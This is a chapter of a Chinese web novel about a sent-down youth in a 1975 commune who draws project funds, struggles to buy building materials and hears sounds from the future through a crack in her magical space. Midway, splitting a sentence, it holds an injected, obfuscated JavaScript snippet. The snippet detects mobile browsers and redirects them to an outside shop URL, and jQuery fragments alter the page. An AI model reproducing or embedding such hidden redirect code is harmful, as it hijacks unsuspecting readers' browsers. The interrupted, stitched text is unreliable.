腊月二十三，小年。
雪是半夜开始下的，悄无声息，等到天亮时，整个红星公社已经裹在一层素白里。林晚照醒来时，听见窗外有扫雪的沙沙声，还有孩子们打雪仗的嬉闹。这些声音很真实，真实得让她几乎要以为昨天那场对峙只是场梦。
但手腕上的银镯在提醒她不是。
镯子内圈的暗红色纹路已经褪去，恢复了那种温润的银白。可如果仔细看，能看见纹路边缘多了一圈极细的裂纹，像冬天河面上将裂未裂的薄冰。
林晚照坐起身，从枕头下摸出那面碎了一半的镜子。镜子里的人眼下有淡淡的青黑，但眼神很静，静得像深潭。她对着镜子练习了一个笑容——要那种带着点疲惫、但又充满干劲的笑，符合一个熬夜工作的知青该有的样子。
练了三遍，直到表情自然了，她才下床。
王晓芬已经扫完院子里的雪，正在灶台前烧水。铁锅里的水咕嘟咕嘟响着，蒸汽把糊着旧报纸的屋顶熏出一片湿痕。
“晚照，昨晚没睡好？”王晓芬回头看她一眼，“眼圈都是黑的。”
“想养猪场的事，睡不着。”林晚照自然地接过话头，从水缸里舀了瓢水倒进脸盆，“今天得去信用社取钱，还得去县里买建材。”
“五千块啊……”王晓芬咋舌，“我这辈子都没见过这么多钱。”
“是集体的钱。”林晚照纠正她，语气很认真，“每一分都得花在刀刃上。”
吃过早饭，林晚照裹上那件半旧的军大衣，戴好雷锋帽，出门时雪已经停了。阳光照在雪地上，晃得人睁不开眼。村里土路两旁的屋檐下挂着冰棱，长的有尺把长，在阳光下晶莹剔透。
信用社在公社大院隔壁，是个两间屋的小平房。柜台后面坐着个五十多岁的女会计，戴一副老花镜，正在打算盘。看见林晚照进来，她抬起头，镜片后的眼睛上下打量了一番。
“取钱？”声音不冷不热。
“对，红星公社养猪项目专项资金。”林晚照把王书记的批条和自己的印章递过去。
女会计接过批条，凑到眼前看了半天，又拿起印章对着光仔细瞧。这个过程持续了足足三分钟，屋里只有算盘珠子偶尔拨动的啪嗒声。
“五千块不是小数目。”女会计终于开口，“得要两个人一起取，还得有担保人。”
林晚照早有准备：“生产队陈铁柱队长做担保，他一会儿就到。”
正说着，门帘被掀开，陈铁柱带着一身寒气进来。他今天穿了件新棉袄，领口的扣子扣得一丝不苟，脸上还难得地刮了胡子。
“刘会计，麻烦您了。”陈铁柱递上生产队的公章和自己的私章。
又是一通核对。最后，女会计从抽屉里拿出五沓钱——全是十元面额的“大团结”，用牛皮纸带捆着，捆得紧紧的。她把钱推到柜台上，手指在上面按了按：“当面点清，离柜不认。”
林晚照拿起第一沓。钱很新，油墨味还很浓。她一张张数，数得很慢，很仔细。陈铁柱站在旁边看着，呼吸声都比平时重了些。
五沓钱，每沓一百张，五千元整。
点完最后一张，林晚照抬起头：“对的。”
女会计在取款单上盖了章，撕下回执递过来：“拿好。这钱可别乱花，县里审计局三个月后要查账的。”
“明白，谢谢刘会计。”
出了信用社，冷风一吹，林晚照才发觉自己手心全是汗。她把装钱的帆布包紧紧抱在怀里，那厚度抵在胸口，沉甸甸的，沉得让人心慌。
“先去供销社买点东西。”陈铁柱说，“下午还得去县里，路远，得备点干粮。”
供销社里人不少，都是赶在小年前来置办年货的。柜台上的商品不多：肥皂、火柴、白糖、盐，最显眼的位置摆着几匹布，颜色只有灰、蓝、绿三种。空气里混着煤油、红糖和旧木头的气味。
林晚照买了十斤红糖、五条肥皂、两包火柴——这些都是养猪场要用的。付钱时，售货员盯着那沓“大团结”看了好几眼，眼神复杂。
“同志，你们养猪场真要扩大啊？”旁边有个大娘忍不住问。
“对，开春就建新猪舍。”林晚照一边把东西装进网兜一边说，“到时候还要招工，大娘您家有合适的人可以来报名。”
这话像颗石子投进水里，周围的人都围了过来。
“真招工？工分咋算？”
“要啥条件？”
“女的要不？”
七嘴八舌的问题涌过来。林晚照耐心地一一回答：“男女都要，十八到四十岁，身体好、能吃苦就行。工分按整劳力算，干得好的还有奖励。”
人群里响起嗡嗡的议论声。有人高兴，有人怀疑，还有人眼神闪烁，不知道在想什么。
陈铁柱趁机说：“这可是公社王书记亲自抓的项目，钱是省里拨的。大家回去都宣传宣传，有意向的明天去养猪场报名。”
从供销社出来，已经快中午了。两人在路边找了个背风的地方，就着凉水啃玉米饼。饼是早上带的，早就冻硬了，咬一口掉渣。
“晚照，”陈铁柱忽然压低声音，“昨晚那个人……还会回来吗？”
林晚照咀嚼的动作顿了顿。她咽下嘴里的饼，才说：“暂时不会。但他说了，会有人继续‘观察’。”
“那你……”
“我没事。”林晚照打断他，语气很平静，“队长，这事以后别提了。咱们就当没发生过，该干啥干啥。”
陈铁柱盯着她看了几秒，最后点点头：“行，我听你的。”
下午去县里的拖拉机是跟公社借的，开车的是小赵。路不好走，雪化了又冻成冰，拖拉机开得歪歪扭扭，三十里路走了快两个小时。
县建材公司在城西，是个大院子，堆着水泥、钢筋、木材。门卫是个瘸腿老头，看了介绍信才放他们进去。
办公室里坐着个胖胖的中年男人，姓孙，是公司的副主任。他接过林晚照递上的采购单，扫了一眼，眉头就皱起来。
“水泥五十吨？钢筋三吨？同志，你这单子开得太大，我做不了主。”
“孙主任，这是省里批的项目……”林晚照话没说完。
孙主任摆摆手：“省里批的也不行。现在物资紧张，水泥、钢筋都是计划内供应，得有指标。你们公社的指标是多少？”
林晚照心里一沉。这事她问过王书记，书记只说“县里会协调”，没提指标的事。
“我们没有指标，但项目急需……”
“没有指标就难办了。”孙主任身子往后一靠，手指在桌面上敲着，“要不这样，你们回去补个申请，送到计委批。批下来，我这边马上供货。”
“那得多久？”
“快的话半个月，慢的话……就不好说了。”孙主任笑眯眯的，但眼神里没有一点笑意。
从建材公司出来，天已经擦黑了。小赵蹲在拖拉机旁抽烟，看见他们出来，站起来问：“成了吗？”
陈铁柱摇摇头。
回去的路上，三个人都没说话。拖拉机突突的声音在暮色里格外刺耳。林晚照望着路两边飞快倒退的枯树，脑子里快速盘算着。
没有建材，猪舍就建不起来。建不起猪舍，项目就得停。项目一停，省里的钱就得退回去。退了钱，她在红星公社就站不住脚了。
这是个死循环。
“晚照，要不回去找王书记？”陈铁柱打破沉默。
“找王书记也没用。”林晚照说，“物资指标是县计委管的，书记的面子还不够。”
“那咋办？”
林晚照没回答。她闭上眼睛，意识沉入空间。
黑土地上的作物已经成熟了，麦穗沉甸甸地垂着。灵泉依然在流淌，泉水汇成的小溪反射着空间里永恒不变的柔光。一切都和往常一样——除了边缘那道裂缝。
裂缝比昨天更宽了，大概有一指宽，里面是深邃的黑暗。但今天，黑暗里不止有电话忙音，还多了些别的声音。
是音乐声。
很模糊，断断续续的，但能听出旋律——是《春天的故事》。这首歌，不应该出现在1975年。
林晚照的心跳猛地加速。她集中精神，试图听清更多。音乐声渐渐弱下去，取而代之的是人声，很多人在说话，声音嘈杂，像是在开会。
“……1984年的试点经验表明……”
“……价格双轨制必须逐步取消……”
“……乡镇企业的发展机遇……”
断断续续的词句飘出来，每一个词都像惊雷在她耳边炸响。1984年？价格双轨制？乡镇企业？
这些都是至少十年后才会出现的东西！
她猛地睁开眼睛，后背已经被冷汗浸湿。陈铁柱察觉到她的异样，转过头：“咋了？不舒服？”
“没事。”林晚照的声音有点发干，“就是有点冷。”
拖拉机在夜色里颠簸着。远处，红星公社的灯火星星点点地亮起来，像散落在黑绒布上的碎钻。
那些灯火里，有一盏是属于养猪场的。
林晚照握紧了拳头。
建材的事必须解决。而且必须尽快。
回到知青点时，已经晚上八点多了。王晓芬给她留了饭，是一碗白菜炖粉条，里面罕见地飘着两片肥肉。
“快吃，还热着。”王晓芬把碗推过来，“下午有人来找你。”
“谁？”
“县里来的，说是计委的，姓郑。”王晓芬压低声音，“留了个条子，让你明天上午去县招待所找他。”
林晚照心里一动。她接过纸条，上面用钢笔写着一行字：“明日九点，县招待
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856547|191601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所203室，郑。”字迹很工整，是标准的机关体。
“还说啥了？”
“没说啥，就是问了问养猪场的情况，待了十分钟就走了。”王晓芬顿了顿，“不过晚照，我觉得这人有点怪。”
“怎么怪？”
“他问话特别细，细到……细到不像领导下来视察。”王晓芬努力组织着语言，“比如他问，你平时除了养猪还干啥，看不看书，看啥书。还问，你跟省农科院的张教授是怎么认识的。”
林晚照的筷子停在半空。
又是试探。
“观察者”不止一个。周明远走了，又来了一个姓郑的。而且这个更隐蔽，更懂得用正常的工作流程做掩护。
她低下头，继续吃饭。粉条有点坨了，但很香，热乎乎地顺着食道滑下去，暖了冰凉的身体。
“我知道了。”她淡淡地说，“明天我去见见。”
吃完饭，林晚照端着碗去水井边洗。井台上的冰很厚，她用铁瓢敲了半天才敲开一个口。井水打上来，冷得刺骨。
她蹲在井台边，借着月光看水里自己的倒影。影子晃晃悠悠的，看不清表情。
明天去见那个姓郑的，该说什么？不该说什么？建材的事能不能通过他解决？如果他是“观察者”，会不会故意卡着指标？
问题一个接一个冒出来，像水井里不断涌出的气泡。
洗好碗往回走时，她看见陈铁柱蹲在养猪场门口的窝棚里，煤油灯的光从窝棚的缝隙漏出来，在地上投出细长的光斑。
她走过去，掀开草帘。
陈大牛也在，两人正凑在一起看图纸。图纸摊在草垫上，上面用红笔画了好几个圈。
“林同志回来了？”陈大牛抬起头，“县里那边……”
“没成。”林晚照在草垫上坐下，“没指标，建材买不到。”
窝棚里安静下来。煤油灯的灯芯噼啪响了一声，爆出一朵灯花。
“那咋整？”陈大牛的声音有点哑，“地基都打好了……”
“我想想办法。”林晚照说，“明天我去县里见个人。”
“谁？”
“计委的。”林晚照没多说，“陈叔，如果……我是说如果，建材一时半会到不了，咱们能不能先想别的办法？比如，用土坯？”
陈大牛愣了愣：“土坯？那不行啊，猪舍得结实，土坯不防潮，冬天冷，猪容易生病。”
“我知道。”林晚照揉了揉眉心，“但总比停工强。”
一直没说话的陈铁柱忽然开口：“我有个主意。”
两人都看向他。
“我二舅在邻县砖厂当会计。”陈铁柱说，“他们厂有时候会有一些次品砖，便宜处理。虽然有点裂缝，但砌墙没问题。”
“能买到吗？”林晚照眼睛一亮。
“得去问问。”陈铁柱说，“就是路远，得开介绍信，还得带钱。”
“钱我有。”林晚照立刻说，“介绍信我明天找王书记开。只要能买到，贵点也行。”
这是眼下唯一的出路了。
从窝棚出来，已经快十点了。雪又下了起来，细密的雪粒子在风里打着旋。林晚照深一脚浅一脚地往回走，脚印在雪地上留下一串深深的坑。
回到知青点，王晓芬和李秀英已经睡了。刘翠翠还在看书，煤油灯的光把她的侧影投在墙上，柔柔的一片。
林晚照轻手轻脚地洗漱完，爬上床。被子很薄，她裹紧了大衣，还是觉得冷。
闭上眼睛，她又进入了空间。
裂缝还在那里，像一道黑色的伤疤。音乐声已经消失了，取而代之的是一种持续的、低频的嗡鸣，像是机器运转的声音。
她站在裂缝前，犹豫了很久，最后伸出手，轻轻碰了碰裂缝的边缘。
指尖传来一种奇怪的触感——不是冷也不是热，而是一种虚无，仿佛那里什么也不存在，连空间本身都被吞噬了。
她缩回手，盯着那道裂缝。
这里面到底是什么？为什么会出现未来的声音？这和“观察者协议”有没有关系？
问题没有答案。
但她知道，裂缝的出现，一定意味着什么。也许是警告，也许是机会，也许……是她改变命运的唯一途径。
夜深了。
雪越下越大，覆盖了白天所有的痕迹。
养猪场的方向传来守夜狗的吠声，一声，两声，在寂静的雪夜里传得很远。
林晚照在黑暗中睁开眼睛。
明天，她要去见那个姓郑的。
明天，她要去找砖。
明天，她还要继续在这个布满陷阱的世界里，走出一条自己的路。
她翻了个身，手腕上的银镯在黑暗里泛着微弱的荧光。
裂缝里的嗡鸣声，似乎更响了。